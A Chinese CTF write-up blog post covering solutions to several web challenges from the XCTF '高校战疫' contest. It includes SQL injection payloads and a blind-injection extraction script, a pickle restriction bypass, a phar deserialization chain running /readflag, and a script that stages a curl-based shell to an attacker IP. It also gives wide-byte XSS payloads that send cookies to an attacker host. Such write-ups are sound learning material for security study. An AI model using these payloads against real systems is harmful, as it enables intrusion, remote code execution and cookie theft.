XCTF高校战"疫"分享赛

Natalia ·
更新时间:2024-11-13
· 674 次阅读

sqlcheckin

sql注入
https://blog.csdn.net/nzjdsds/article/details/82980041

直接看例子:
在这里插入图片描述
like也是一样
在这里插入图片描述
false false 得到true,令username:xxx’=’,password:xxx’=’,payload:
char(61)用来绕过=

username=xxx’%2bchar(61)%2b’&password=xxx’%2bchar(61)%2b’

在这里插入图片描述

webtmp

源码

import base64 import io import sys import pickle from flask import Flask, Response, render_template, request import secret app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一给我哩giaogiao', 'Giao') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

大致意思就是用Animal这个类,传入name和category参数,然后去和题目里secret.name和secret.category去比,并且过滤掉了R,这个R就是R指令,也就是__reduce__函数
在这里插入图片描述
顺带说一下,有一个python自带的pickle调试器pickletools很好用,可以看具体pickle的内容,如:
pickletools.dis(pickle.dumps(Animal(‘dog’,‘bark’))),此时pickle的数据为:

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

经过pickletools之后就变得很清楚了
在这里插入图片描述
可以对照着修改值,然后在想尝试直接将dog更改为cseret\n\name\n(这个c也就是c指令,就是global全局变量)时出现了错误,因为这里只允许c指令包含__main__这一个module

class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

可以看一下这篇文章
https://zhuanlan.zhihu.com/p/89132768
大概原理如下:
在这里插入图片描述
根据原先Animal生成的pickle,构造一个secret的pickle,然后放入一个{‘name’:‘dog’,‘category’:‘bark’}的Animal字典
原先的Animal pickle

b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

构造一下:

b'\x80\x03c__main__\nsecret\nq\x00}(Vname\nVdog\nVcategory\nVbark\nub0c__main__\nAnimal\n)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00dogq\x04X\x08\x00\x00\x00categoryq\x05X\x04\x00\x00\x00barkq\x06ub.'

base64

b'gANjX19tYWluX18Kc2VjcmV0CnEAfShWbmFtZQpWZG9nClZjYXRlZ29yeQpWYmFyawp1YjBjX19tYWluX18KQW5pbWFsCimBcQF9cQIoWAQAAABuYW1lcQNYAwAAAGRvZ3EEWAgAAABjYXRlZ29yeXEFWAQAAABiYXJrcQZ1Yi4='

在这里插入图片描述

Hackme

www.zip获得源码
在这里插入图片描述
session serialize处理器不同
在这里插入图片描述
观察到这里会判断admin是否为1,并且该值由session得到,所以只要找到一个地方能存入session即可
upload_sign.php恰好可以存入
在这里插入图片描述
而upload.php包含了upload_sign.php
在这里插入图片描述
首先在profile.php页面令this->admin=1,序列化一下得到

O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}

w4|O:4:“info”:2:{s:5:“admin”;i:1;s:4:“sign”;N;}
在这里插入图片描述
在这里插入图片描述
https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

代码中禁止了data://协议,可以用compress.zlib://协议代替,并且parse_url($url)[‘host’]需要匹配到127.0.0.1,可以构造成如下:

compress.zlib://data:@127.0.0.1/plain;base64,

加一个@会把前面的data:当作用户user
在这里插入图片描述
然后是<=4个字符的exec
https://www.anquanke.com/post/id/87203
在这里插入图片描述
首先在服务器上写上这样的index.html
在这里插入图片描述
然后写脚本:

# encoding=utf-8 import requests import base64 import time import random url='http://121.36.222.22:88/core/index.php' cookies={ 'PHPSESSID':'17336d5cbf57129cce902289ffc3a97a' } #换上服务器ip shell_ip = 'xx.xx.xx.xx' ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')]) print(ip) pos0 = 'f' pos1 = 'h' pos2 = 'g' # 随意选择字符 s = [ '>dir', '>%s\>' % pos0, '>%st-' % pos1, '>sl', '*>v', '>rev', '*v>%s' % pos2, '>p', '>ph\\', '>\|\\', #服务器ip的十位hex '>xx\\', '>xx\\', '>xx\\', '>xx\\', '>0x\\', '>\ \\', '>rl\\', '>cu\\', 'sh ' + pos2, 'sh ' + pos0, ] payload1 = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}' url2='http://121.36.222.22:88/core/sandbox/a0eaaa9fe99c2be982afa4325bdaa05e/' for i in s: r = requests.post(url,cookies=cookies ,data={"url": payload1.format(base64.b64encode(i.encode()).decode())}) print(r.text) #print(payload1.format(base64.b64encode(i.encode()).decode())) time.sleep(0.5)

注意这里特殊符号例如>或空格都需要转义,之后访问
在这里插入图片描述
在这里插入图片描述

php uaf:

php7.4 bypass:
https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

nweb

注册页面有一个隐藏的type,并且给了110提示,

email=w&pass=123&repass=123&type=110

登陆账号,在search.php有布尔注入点,过滤from双写绕过

import requests import time url='http://121.37.179.47:1001/search.php' payload='''1'or if(((ascii(mid((seselectlect group_concat(pwd) frfromom admin),{},1)))>{}),1,0)#''' cookies={ 'username':'f1290186a5d0b1ceab27f4e77c0c5d68', 'PHPSESSID':'21232f297a57a5a743894a0e4a801fc3' } text='' for i in range(1,35): l=28 h=126 while abs(h - l) > 1: m=(l+h)/2 data={ 'flag':payload.format(i,m) } t=time.time() re=requests.post(url,cookies=cookies,data=data) #print(re.text) if 'There is flag' in re.text: l=m else: h=m mid_num = int((l + h + 1) / 2) text += chr(int(h)) print(text) #flag->fl4g flag{Rogue-MySql-Server #username,pwd,qq->admin e2ecea8b80a96fb07f43a2f83c8b0960

查到一半flag以及md5加密的密码,解密一下是whoamiadmin,在admin.html登陆后台:
在这里插入图片描述
是一个mysql服务端伪造任意读取文件的漏洞,利用脚本:
https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

将脚本中的端口(对应即可),要读的文件改一下运行,填入ip和端口连接
在这里插入图片描述
自动写入mysql.log文件:
在这里插入图片描述
flag{Rogue-MySql-Server-is-nday}

以下是复现的题 webct

www.zip源码
在这里插入图片描述
一个上传文件一个sql连接,看了好几遍都没思路,看到这个__call也没反序列化的点
在这里插入图片描述
原来是上传phar文件,然后用nweb那题的mysql伪造,将文件改为phar://…触发,真是没想到

file = new Listfile; } function __destruct() { $this->file->xs(); } } class Listfile { public $file; function __construct() { $this->file = '/;/readflag;'; } function __call($name, $arguments) { system("ls " . $this->file); } } $a = new Fileupload(); var_dump($a); $phar = new Phar('1.phar'); $phar->startBuffering(); $phar->setStub("GIF89a"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); rename('1.phar','1.jpg'); ?>

生成文件之后上传得到路径,运行python文件,替换文件为 :

phar://./uploads/c98b2784ceb4968f6a1b49a2b2a505a0/551ccbaef945b2c4f3ca88361f08d600.jpg

payload:

ip=xx.xx.xx.xx%3A3307&user=xxx&password=xxx&option=8

然后客户端访问该文件触发phar
在这里插入图片描述

fmkq

源码:

<?php error_reporting(0); if(isset($_GET['head'])&&isset($_GET['url'])){ $begin = "The number you want: "; extract($_GET); if($head == ''){ die('Where is your head?'); } if(preg_match('/[A-Za-z0-9]/i',$head)){ die('Head can\'t be like this!'); } if(preg_match('/log/i',$url)){ die('No No No'); } if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){ die('Don\'t use strange protocol!'); } $funcname = $head.'curl_init'; $ch = $funcname(); if($ch){ curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); } else{ $output = 'rua'; } echo sprintf($begin.'%d',$output); } else{ show_source(__FILE__); }

head不能有数字或字母,若绕过则被拼接并执行

$funcname = $head.'curl_init'; $ch = $funcname();

url不能包含log,不能使用这些协议:gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp: ,若绕过则进行curl

由于最后输出是sprintf,所以可以用格式化字符串漏洞%s%显示

?head=\&begin=%s%&url=http://127.0.0.1:8080

(head用\绕过没太懂)
在这里插入图片描述
然后提示readfile的两种方法:
有vipcode情况下

/read/file=example&vipcode=example

无vipcode情况下

/read/file=/tmp/{file}&vipcode=0

首先看一下file的内容,猜测应该是一个python对象,因为可以用__dict__得到值:

{file.__dict__}

在这里插入图片描述
继续看vip的内容:

{file.vip.__dict__}

得到vipcode
在这里插入图片描述
看一下根目录得到flag路径
在这里插入图片描述
但是直接读不得行
/fl4g_1s_h3re_u_wi11_rua/flag
在这里插入图片描述
过滤了fl4g,需要用切割拼接绕过,payload:
http://121.37.179.47:1101/head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=KIw4Mslkq6hAQTErmF7GLgiSxZV8BU29WzaYyfRv0CnHe13b
在这里插入图片描述

happyvacation

考点:代码审计,宽字节xss
出题人笔记:https://imagin.vip/?p=735
首先需要知道个知识点:
clone在php中起到一个对象复制的作用,例如:

$a=new test(); $b=clone $a;

此时$b就得到了一个a对象的一个复制,这种复制在某些复杂的情况下会很大提示代码效率

但是如果$a中新建了另外一个对象,此时$b得到的原来的类+一个子类,如果对$b中的属性进行修改,那么会导致$a中的对应属性也会被修改:

s=new son(); } } class son{ function __construct(){ $this->test = 111; } } $a=new A(); $b=clone $a; echo $a->s->test."
"; 111 $b->s->test=222; echo $a->s->test."
"; 222 echo $b->s->test; 222

不过php有一个__clone()方法可以在clone时修改属性(如果必要的话)

回到题目
Githack获得源码
在这里插入图片描述
在index.php页面可以输入username和message,username随便,只是表示你登陆与否,而输入message的话会直接在页面上显示出来,两边的script可以判断是xss
在这里插入图片描述看一下message代码:
在这里插入图片描述
跟进两层,发现有过滤
在这里插入图片描述
并且最后会转义,转义+单引号逃逸想到宽字节注入

在lib.php的UrlHelper类下观察到一处可以更改httphead的地方,前提是可控
在这里插入图片描述
这里被写死了为location跳转:
在这里插入图片描述
想要改成gbk首先要突破这个,在quiz.php处接受一个answer参数,跟进answer方法
在这里插入图片描述
会发现这里使用了clone复制,并且调用了eval方法将answer=False
在这里插入图片描述
上面说过clone在被复制对象中创建一个新类后,复制对象属性改变会导致原类属性的改变
看一下user类
在这里插入图片描述
之前我们需要改的是UrlHelper下的pre,上面url正好新建了一个Urlhelper对象
在这里插入图片描述
现在所需要的就是让复制类可控,结合上面的eval,我们令$answer=user->url->pre
eval本来是这:

eval("\$this->".$answer." = false;");

此时:

eval("\$this->user->url->pre = false;");

this->user为复制类,复制类中的url->pre改了,被复制类$user->url->pre也被改了,$user->url=new UrlHelper(),所以UrlHelper::pre成为了Flase

本地测试一下并不影响
在这里插入图片描述
在这里插入图片描述
然后就是想令location可控了,回到quiz.php看第二个参数referer:
在这里插入图片描述
跟进
在这里插入图片描述
$user->url->referer默认为index,传入

referer=Content-Type: text/html; charset=GBK; Referer: index

$user->url->referer已改变,重新请求一次,在这里进入if成功更改location的值
在这里插入图片描述
payload:

/quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index&answer=user->url->pre

在这里插入图片描述
xss:
方法一:
上传文件,内容为(只要能上传的后缀就行)

window.open('http://xx.xx.xx.xx:3333/?'+document.cookie);

得到路径,然后构造message:

//b=script,c=文件路径./upload/... /index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116); var c = String.fromCharCode(46,47,117,112,108,111,97,100,47,52,55,54,99,101,48,54,56,100,49,55,99,51,55,102,50,99,52,100,100,55,97,48,54,50,51,48,50,100,99,55,53,46,119,97,118,101); x=document.createElement(b);x.src=c;document.body.appendChild(x);

然后监听3333端口,去ask.php输入md5值让bot触发
在这里插入图片描述
方法二:
不上传文件直接:

//d=document,c=cookie,w=window,o=open //=>self[window].open(ip+self[document][cookie]) 1%df%27;var d=String.fromCharCode(100,111,99,117,109,101,110,116); var c =String.fromCharCode(99,111,111,107,105,101); var w=String.fromCharCode(119,105,110,100,111,119); var o=String.fromCharCode(111,112,101,110); //替换为ip:port的ascii码值 var ip = String.fromCharCode();self[w].open(ip%2bself[d][c]);//

在这里插入图片描述

小结

这此比赛感觉挺有收获的,学到很多知识点,不过出的题还是太少了emmm


作者:W4nder



xctf

需要 登录 后方可回复, 如果你还没有账号请 注册新账号